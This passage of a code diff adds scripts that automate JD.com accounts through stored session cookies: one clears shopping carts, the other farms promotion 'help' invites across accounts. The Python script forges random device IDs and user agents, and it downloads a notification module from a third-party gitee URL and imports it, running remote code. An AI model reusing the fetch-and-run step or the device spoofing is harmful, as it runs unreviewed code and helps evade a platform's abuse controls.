cookiesArr = [], cookie = '', postBody = '', venderCart; +if($.isNode()){ + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if(process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +//购物车内容 +$.cart = process.env.JD_CART === 'true'; // 当环境变量中存在JD_CART并设置为true时才会执行删除购物车 +let removeSize = process.env.JD_CART_REMOVESIZE || 20; // 运行一次取消多全部已关注的商品。数字0表示不取关任何商品 +let isRemoveAll = process.env.JD_CART_REMOVEALL || true; //是否清空,如果为false,则上面设置了多少就只删除多少条 +$.keywords = process.env.JD_CART_KEYWORDS || [] +$.keywordsNum = 0; +!(async() => { + console.log('使用前请确保你认真看了注释') + console.log('看完注释有问题就带着你的问题来找我') + console.log('tg: https://t.me/X1a0He') + if($.cart){ + if(!cookiesArr[0]){ + $.msg('【京东账号一】移除购物车失败', '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + } + for(let i = 0; i < cookiesArr.length; i++){ + if(cookiesArr[i]){ + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`****开始【京东账号${$.index}】${$.nickName || $.UserName}*****`); + if(!$.isLogin){ + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + if($.isNode()){ + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await requireConfig(); + do { + await getCart_xh(); + $.keywordsNum = 0 + if($.beforeRemove !== "0"){ + await cartFilter_xh(venderCart); + if(parseInt($.beforeRemove) !== $.keywordsNum) await removeCart(); + else { + console.log('由于购物车内的商品均包含关键字,本次执行将不删除购物车数据') + break; + } + } else break; + } while(isRemoveAll && $.keywordsNum !== $.beforeRemove) + } + } + } else { + console.log("你设置了不删除购物车数据,要删除请设置环境变量 JD_CART 为 true") + } +})().catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') +}).finally(() => { + $.done(); +}) + +function getCart_xh(){ + console.log('正在获取购物车数据...') + return new Promise((resolve) => { + const option = { + url: 'https://p.m.jd.com/cart/cart.action?fromnav=1&sceneval=2', + headers: { + "Cookie": cookie, + "User-Agent": "jdapp;JD4iPhone/167724 (iPhone; iOS 15.0; Scale/3.00)", + }, + } + $.get(option, async(err, resp, data) => { + try{ + data = JSON.parse(getSubstr(data, "window.cartData = ", "window._PFM_TIMING")); + $.areaId = data.areaId; // locationId的传值 + $.traceId = data.traceId; // traceid的传值 + venderCart = data.cart.venderCart; + postBody = 'pingouchannel=0&commlist='; + $.beforeRemove = data.cartJson.num + console.log(`获取到购物车数据 ${$.beforeRemove} 条`) + } catch(e){ + $.logErr(e, resp); + } finally{ + resolve(data); + } + }); + }) +} + +function cartFilter_xh(cartData){ + console.log("正在整理数据...") + let pid; + $.pushed = 0 + for(let cartJson of cartData){ + if($.pushed === removeSize) break; + for(let sortedItem of cartJson.sortedItems){ + if($.pushed === removeSize) break; + pid = typeof (sortedItem.polyItem.promotion) !== "undefined" ? sortedItem.polyItem.promotion.pid : "" + for(let product of sortedItem.polyItem.products){ + if($.pushed === removeSize) break; + let mainSkuName = product.mainSku.name + $.isKeyword = false + $.isPush = true + for(let keyword of $.keywords){ + if(mainSkuName.indexOf(keyword) !== -1){ + $.keywordsNum += 1 + $.isPush = false + $.keyword = keyword; + break; + } else $.isPush = true + } + if($.isPush){ + let skuUuid = product.skuUuid; + let mainSkuId = product.mainSku.id + if(pid === "") postBody += `${mainSkuId},,1,${mainSkuId},1,,0,skuUuid:${skuUuid}@@useUuid:0$` + else postBody += `${mainSkuId},,1,${mainSkuId},11,${pid},0,skuUuid:${skuUuid}@@useUuid:0$` + $.pushed += 1; + } else { + console.log(`\n${mainSkuName}`) + console.log(`商品已被过滤,原因:包含关键字 ${$.keyword}`) + $.isKeyword = true + } + } + } + } + postBody += `&type=0&checked=0&locationid=${$.areaId}&templete=1®=1&scene=0&version=20190418&traceid=${$.traceId}&tabMenuType=1&sceneval=2` +} + +function removeCart(){ + console.log('正在删除购物车数据...') + return new Promise((resolve) => { + const option = { + url: 'https://wq.jd.com/deal/mshopcart/rmvCmdy?sceneval=2&g_login_type=1&g_ty=ajax', + body: postBody, + headers: { + "Cookie": cookie, + "User-Agent": "jdapp;JD4iPhone/167724 (iPhone; iOS 15.0; Scale/3.00)", + "referer": "https://p.m.jd.com/", + "origin": "https://p.m.jd.com/" + }, + } + $.post(option, async(err, resp, data) => { + try{ + data = JSON.parse(data); + $.afterRemove = data.cartJson.num + if($.afterRemove < $.beforeRemove){ + console.log(`删除成功,当前购物车剩余数据 ${$.afterRemove} 条\n`) + $.beforeRemove = $.afterRemove + } else { + console.log('删除失败') + console.log(data.errMsg) + isRemoveAll = false; + } + } catch(e){ + $.logErr(e, resp); + } finally{ + resolve(data); + } + }); + }) +} + +function getSubstr(str, leftStr, rightStr){ + let left = str.indexOf(leftStr); + let right = str.indexOf(rightStr, left); + if(left < 0 || right < left) return ''; + return str.substring(left + leftStr.length, right); +} + +function TotalBean(){ + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try{ + if(err){ + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if(data){ + data = JSON.parse(data); + if(data['retcode'] === 13){ + $.isLogin = false; //cookie过期 + return + } + if(data['retcode'] === 0){ + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch(e){ + $.logErr(e, resp) + } finally{ + resolve(); + } + }) + }) +} + +function requireConfig(){ + return new Promise(resolve => { + if($.isNode() && process.env.JD_CART){ + if(process.env.JD_CART_KEYWORDS){ + $.keywords = process.env.JD_CART_KEYWORDS.split('@') + } + } + resolve() + }) +} + +function jsonParse(str){ + if(typeof str == "string"){ + try{ + return JSON.parse(str); + } catch(e){ + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t, e){ + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + + class s{ + constructor(t){ + this.env = t + } + + send(t, e = "GET"){ + t = "string" == typeof t ? { + url: t + } : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + + get(t){ + return this.send.call(this.env, t) + } + + post(t){ + return this.send.call(this.env, t, "POST") + } + } + + return new class{ + constructor(t, e){ + this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) + } + + isNode(){ + return "undefined" != typeof module && !!module.exports + } + + isQuanX(){ + return "undefined" != typeof $task + } + + isSurge(){ + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + + isLoon(){ + return "undefined" != typeof $loon + } + + toObj(t, e = null){ + try{ + return JSON.parse(t) + } catch{ + return e + } + } + + toStr(t, e = null){ + try{ + return JSON.stringify(t) + } catch{ + return e + } + } + + getjson(t, e){ + let s = e; + const i = this.getdata(t); + if(i) try{ + s = JSON.parse(this.getdata(t)) + } catch{} + return s + } + + setjson(t, e){ + try{ + return this.setdata(JSON.stringify(t), e) + } catch{ + return !1 + } + } + + getScript(t){ + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + + runScript(t, e){ + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + + loaddata(){ + if(!this.isNode()) return {}; + { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if(!s && !i) return {}; + { + const i = s ? t : e; + try{ + return JSON.parse(this.fs.readFileSync(i)) + } catch(t){ + return {} + } + } + } + } + + writedata(){ + if(this.isNode()){ + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + + lodash_get(t, e, s){ + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for(const t of i) + if(r = Object(r)[t], void 0 === r) return s; + return r + } + + lodash_set(t, e, s){ + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + + getdata(t){ + let e = this.getval(t); + if(/^@/.test(t)){ + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if(r) try{ + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch(t){ + e = "" + } + } + return e + } + + setdata(t, e){ + let s = !1; + if(/^@/.test(e)){ + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), + h = i ? "null" === o ? null : o || "{}" : "{}"; + try{ + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch(e){ + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + + getval(t){ + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + + setval(t, e){ + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + + initGotEnv(t){ + this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + + get(t, e = (() => {})){ + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try{ + if(t.headers["set-cookie"]){ + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch(t){ + this.logErr(t) + } + }).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + + post(t, e = (() => {})){ + if(t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + }); + else if(this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if(this.isNode()){ + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + + time(t, e = null){ + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for(let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + + msg(e = t, s = "", i = "", r){ + const o = t => { + if(!t) return t; + if("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } : this.isSurge() ? { + url: t + } : void 0; + if("object" == typeof t){ + if(this.isLoon()){ + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if(this.isQuanX()){ + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if(this.isSurge()){ + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + if(this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog){ + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + + log(...t){ + t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) + } + + logErr(t, e){ + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + + wait(t){ + return new Promise(e => setTimeout(e, t)) + } + + done(t = {}){ + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} diff --git a/backUp/jd_cashHelp.py b/backUp/jd_cashHelp.py new file mode 100644 index 0000000..84bcf67 --- /dev/null +++ b/backUp/jd_cashHelp.py @@ -0,0 +1,428 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -* +''' +项目名称: JD-Script / jd_cash +Author: Curtin +功能:签到领现金-助力, 仅助力拿cash +Date: 2021/7/4 上午09:35 +TG交流 https://t.me/topstyle996 +TG频道 https://t.me/TopStyle2021 +update 2021.7.17 15:02 +''' + +#ck 优先读取【JDCookies.txt】 文件内的ck 再到 ENV的 变量 JD_COOKIE='ck1&ck2' 最后才到脚本内 cookies=ck +cookies = '' +# 设置被助力的账号可填用户名 或 pin的值不要; env 设置 export cash_zlzh="用户1&用户N" +cash_zlzh = ['Your JD_User', '买买买'] + +# Env环境设置 通知服务 +# export BARK='' # bark服务,苹果商店自行搜索; +# export SCKEY='' # Server酱的SCKEY; +# export TG_BOT_TOKEN='' # tg机器人的TG_BOT_TOKEN; +# export TG_USER_ID='' # tg机器人的TG_USER_ID; +# export TG_API_HOST='' # tg 代理api +# export TG_PROXY_IP='' # tg机器人的TG_PROXY_IP; +# export TG_PROXY_PORT='' # tg机器人的TG_PROXY_PORT; +# export DD_BOT_ACCESS_TOKEN='' # 钉钉机器人的DD_BOT_ACCESS_TOKEN; +# export DD_BOT_SECRET='' # 钉钉机器人的DD_BOT_SECRET; +# export QQ_SKEY='' # qq机器人的QQ_SKEY; +# export QQ_MODE='' # qq机器人的QQ_MODE; +# export QYWX_AM='' # 企业微信;http://note.youdao.com/s/HMiudGkb +# export PUSH_PLUS_TOKEN='' # 微信推送Plus+ ; + +##### + +# 建议调整一下的参数 +# UA 可自定义你的,注意格式: 【 jdapp;iPhone;10.0.4;14.2;9fb54498b32e17dfc5717744b5eaecda8366223c;network/wifi;ADID/2CF597D0-10D8-4DF8-C5A2-61FD79AC8035;model/iPhone11,1;addressid/7785283669;appBuild/167707;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/null;supportJDSHWK/1 】 +UserAgent = '' +# 限制速度 (秒) +sleepNum = 0.1 + +import os, re, sys +import random +try: + import requests +except Exception as e: + print(e, "\n缺少requests 模块,请执行命令安装:pip3 install requests") + exit(3) +from urllib.parse import unquote, quote +import json +import time +requests.packages.urllib3.disable_warnings() + +pwd = os.path.dirname(os.path.abspath(__file__)) + os.sep +t = time.time() +aNum = 0 +cashCount = 0 +cashCountdict = {} + + +def getEnvs(label): + try: + if label == 'True' or label == 'yes' or label == 'true' or label == 'Yes': + return True + elif label == 'False' or label == 'no' or label == 'false' or label == 'No': + return False + except Exception as e: + pass + try: + if '.' in label: + return float(label) + elif '&' in label: + return label.split('&') + elif '@' in label: + return label.split('@') + else: + return int(label) + except: + return label + +class getJDCookie(object): + # 适配各种平台环境ck + + def getckfile(self): + global v4f + curf = pwd + 'JDCookies.txt' + v4f = '/jd/config/config.sh' + ql_new = '/ql/config/env.sh' + ql_old = '/ql/config/cookie.sh' + if os.path.exists(curf): + with open(curf, "r", encoding="utf-8") as f: + cks = f.read() + f.close() + r = re.compile(r"pt_key=.*?pt_pin=.*?;", re.M | re.S | re.I) + cks = r.findall(cks) + if len(cks) > 0: + return curf + else: + pass + if os.path.exists(ql_new): + print("当前环境青龙面板新版") + return ql_new + elif os.path.exists(ql_old): + print("当前环境青龙面板旧版") + return ql_old + elif os.path.exists(v4f): + print("当前环境V4") + return v4f + return curf + + # 获取cookie + def getCookie(self): + global cookies + ckfile = self.getckfile() + try: + if os.path.exists(ckfile): + with open(ckfile, "r", encoding="utf-8") as f: + cks = f.read() + f.close() + if 'pt_key=' in cks and 'pt_pin=' in cks: + r = re.compile(r"pt_key=.*?pt_pin=.*?;", re.M | re.S | re.I) + cks = r.findall(cks) + if len(cks) > 0: + if 'JDCookies.txt' in ckfile: + print("当前获取使用 JDCookies.txt 的cookie") + cookies = '' + for i in cks: + if 'pt_key=xxxx' in i: + pass + else: + cookies += i + return + else: + with open(pwd + 'JDCookies.txt', "w", encoding="utf-8") as f: + cks = "#多账号换行,以下示例:(通过正则获取此文件的ck,理论上可以自定义名字标记ck,也可以随意摆放ck)\n账号1【Curtinlv】cookie1;\n账号2【TopStyle】cookie2;" + f.write(cks) + f.close() + if "JD_COOKIE" in os.environ: + if len(os.environ["JD_COOKIE"]) > 10: + cookies = os.environ["JD_COOKIE"] + print("已获取并使用Env环境 Cookie") + except Exception as e: + print(f"【getCookie Error】{e}") + + # 检测cookie格式是否正确 + def getUserInfo(self, ck, pinName, userNum): + url = 'https://me-api.jd.com/user_new/info/GetJDUserInfoUnion?orgFlag=JD_PinGou_New&callSource=mainorder&channel=4&isHomewhite=0&sceneval=2&sceneval=2&callback=GetJDUserInfoUnion' + headers = { + 'Cookie': ck, + 'Accept': '*/*', + 'Connection': 'close', + 'Referer': 'https://home.m.jd.com/myJd/home.action', + 'Accept-Encoding': 'gzip, deflate, br', + 'Host': 'me-api.jd.com', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1', + 'Accept-Language': 'zh-cn' + } + try: + resp = requests.get(url=url, verify=False, headers=headers, timeout=60).text + r = re.compile(r'GetJDUserInfoUnion.*?\((.*?)\)') + result = r.findall(resp) + userInfo = json.loads(result[0]) + nickname = userInfo['data']['userInfo']['baseInfo']['nickname'] + return ck, nickname + except Exception: + context = f"账号{userNum}【{pinName}】Cookie 已失效!请重新获取。" + print(context) + return ck, False + + def iscookie(self): + """ + :return: cookiesList,userNameList,pinNameList + """ + cookiesList = [] + userNameList = [] + pinNameList = [] + if 'pt_key=' in cookies and 'pt_pin=' in cookies: + r = re.compile(r"pt_key=.*?pt_pin=.*?;", re.M | re.S | re.I) + result = r.findall(cookies) + if len(result) >= 1: + print("您已配置{}个账号".format(len(result))) + u = 1 + for i in result: + r = re.compile(r"pt_pin=(.*?);") + pinName = r.findall(i) + pinName = unquote(pinName[0]) + # 获取账号名 + ck, nickname = self.getUserInfo(i, pinName, u) + if nickname != False: + cookiesList.append(ck) + userNameList.append(nickname) + pinNameList.append(pinName) + else: + u += 1 + continue + u += 1 + if len(cookiesList) > 0 and len(userNameList) > 0: + return cookiesList, userNameList, pinNameList + else: + print("没有可用Cookie,已退出") + exit(3) + else: + print("cookie 格式错误!...本次操作已退出") + exit(4) + else: + print("cookie 格式错误!...本次操作已退出") + exit(4) +getCk = getJDCookie() +getCk.getCookie() + +# 获取v4环境 特殊处理 +try: + with open(v4f, 'r', encoding='utf-8') as v4f: + v4Env = v4f.read() + r = re.compile(r'^export\s(.*?)=[\'\"]?([\w\.\-@#&=_,\[\]\{\}\(\)]{1,})+[\'\"]{0,1}$', + re.M | re.S | re.I) + r = r.findall(v4Env) + curenv = locals() + for i in r: + if i[0] != 'JD_COOKIE': + curenv[i[0]] = getEnvs(i[1]) +except: + pass + +if "cash_zlzh" in os.environ: + if len(os.environ["cash_zlzh"]) > 1: + cash_zlzh = os.environ["cash_zlzh"] + cash_zlzh = cash_zlzh.replace('[', '').replace(']', '').replace('\'', '').replace(' ', '').split(',') + print("已获取并使用Env环境 cash_zlzh:", cash_zlzh) + + + +## 获取通知服务 +class msg(object): + def __init__(self, m): + self.str_msg = m + self.message() + def message(self): + global msg_info + print(self.str_msg) + try: + msg_info = "{}\n{}".format(msg_info, self.str_msg) + except: + msg_info = "{}".format(self.str_msg) + sys.stdout.flush() + def getsendNotify(self, a=0): + if a == 0: + a += 1 + try: + url = 'https://gitee.com/curtinlv/Public/raw/master/sendNotify.py' + response = requests.get(url) + if 'curtinlv' in response.text: + with open('sendNotify.py', "w+", encoding="utf-8") as f: + f.write(response.text) + else: + if a < 5: + a += 1 + return self.getsendNotify(a) + else: + pass + except: + if a < 5: + a += 1 + return self.getsendNotify(a) + else: + pass + def main(self): + global send + cur_path = os.path.abspath(os.path.dirname(__file__)) + sys.path.append(cur_path) + if os.path.exists(cur_path + "/sendNotify.py"): + try: + from sendNotify import send + except: + self.getsendNotify() + try: + from sendNotify import send + except: + print("加载通知服务失败~") + else: + self.getsendNotify() + try: + from sendNotify import send + except: + print("加载通知服务失败~") + ################### +msg("").main() +############## + +def userAgent(): + """ + 随机生成一个UA + jdapp;iPhone;10.0.4;14.2;9fb54498b32e17dfc5717744b5eaecda8366223c;network/wifi;ADID/2CF597D0-10D8-4DF8-C5A2-61FD79AC8035;model/iPhone11,1;addressid/7785283669;appBuild/167707;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/null;supportJDSHWK/1 + :return: ua + """ + if not UserAgent: + uuid = ''.join(random.sample('123456789abcdef123456789abcdef123456789abcdef123456789abcdef', 40)) + addressid = ''.join(random.sample('1234567898647', 10)) + iosVer = ''.join(random.sample(["14.5.1", "14.4", "14.3", "14.2", "14.1", "14.0.1", "13.7", "13.1.2", "13.1.1"], 1)) + iosV = iosVer.replace('.', '_') + iPhone = ''.join(random.sample(["8", "9", "10", "11", "12", "13"], 1)) + ADID = ''.join(random.sample('0987654321ABCDEF', 8)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 12)) + return f'jdapp;iPhone;10.0.4;{iosVer};{uuid};network/wifi;ADID/{ADID};model/iPhone{iPhone},1;addressid/{addressid};appBuild/167707;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS {iosV} like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/null;supportJDSHWK/1' + else: + return UserAgent + +def buildHeader(ck): + headers = { + 'Origin': 'https://h5.m.jd.com', + 'Cookie': ck, + 'Connection': 'keep-alive', + 'Accept': 'application/json, text/plain, */*', + 'Referer': f'https://h5.m.jd.com/babelDiy/Zeus/GzY6gTjVg1zqnQRnmWfMKC4PsT1/index.html?lng=&lat=&sid=&un_area=', + 'Host': 'api.m.jd.com', + 'User-Agent': userAgent(), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br' + } + return headers + +def getShareCode(header): + global aNum + try: + url = 'https://api.m.jd.com/client.action?functionId=cash_getJDMobShareInfo&body=%7B%22source%22%3A2%7D&appid=CashReward&client=m&clientVersion=9.2.8' + resp = requests.post(url=url, headers=header, verify=False, timeout=30).json() + if resp['data']['bizMsg'] == 'success' and resp['data']['success']: + inviteCode = resp['data']['result']['inviteCode'] + shareDate = resp['data']['result']['shareDate'] + aNum = 0 + return inviteCode, shareDate + else: + print("获取互助码失败!") + return 0, 0 + except Exception as e: + if aNum < 5: + aNum += 1 + return getShareCode(header) + else: + aNum = 0 + print("获取互助码失败!", e) + return 0, 0 + +def helpCode(header, inviteCode, shareDate, uNUm, user, name): + try: + url = f'https://api.m.jd.com/client.action?functionId=cash_mob_assist&body=%7B%22source%22%3A3%2C%22inviteCode%22%3A%22{inviteCode}%22%2C%22shareDate%22%3A%22{shareDate}%22%7D&appid=CashReward&client=m&clientVersion=9.2.8' + resp = requests.post(url=url, headers=header, verify=False, timeout=30).json() + if resp['data']['success']: + print(f'用户{uNUm}【{user}】助力【{name}】{resp["data"]["bizMsg"]} -> 您也获得{resp["data"]["result"]["cashStr"]}现金') + return False + else: + print(f'用户{uNUm}【{user}】助力【{name}】{resp["data"]["bizMsg"]}') + if '晚' in resp["data"]["bizMsg"]: + return True + else: + return False + + except Exception as e: + print("helpCode Error", e) + print(f'用户{uNUm}【{user}】助力【{name}】报错了!') + return False + +def cash_exchangePage(ck): + try: + iosVer = ''.join(random.sample(["14.5.1", "14.4", "14.3", "14.2", "14.1", "14.0.1", "13.7", "13.1.2", "13.1.1"], 1)) + url = 'https://api.m.jd.com/client.action?functionId=cash_exchangePage' + header = { + 'Accept-Encoding': 'gzip, deflate, br', + 'Cookie': ck, + 'Connection': 'keep-alive', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Accept': '*/*', + 'Host': 'api.m.jd.com', + 'User-Agent': f'JD4iPhone/167724 (iPhone; iOS {iosVer}; Scale/3.00)', + 'Referer': '', + 'Accept-Language': 'zh-Hans-CN;q=1' + } + body = 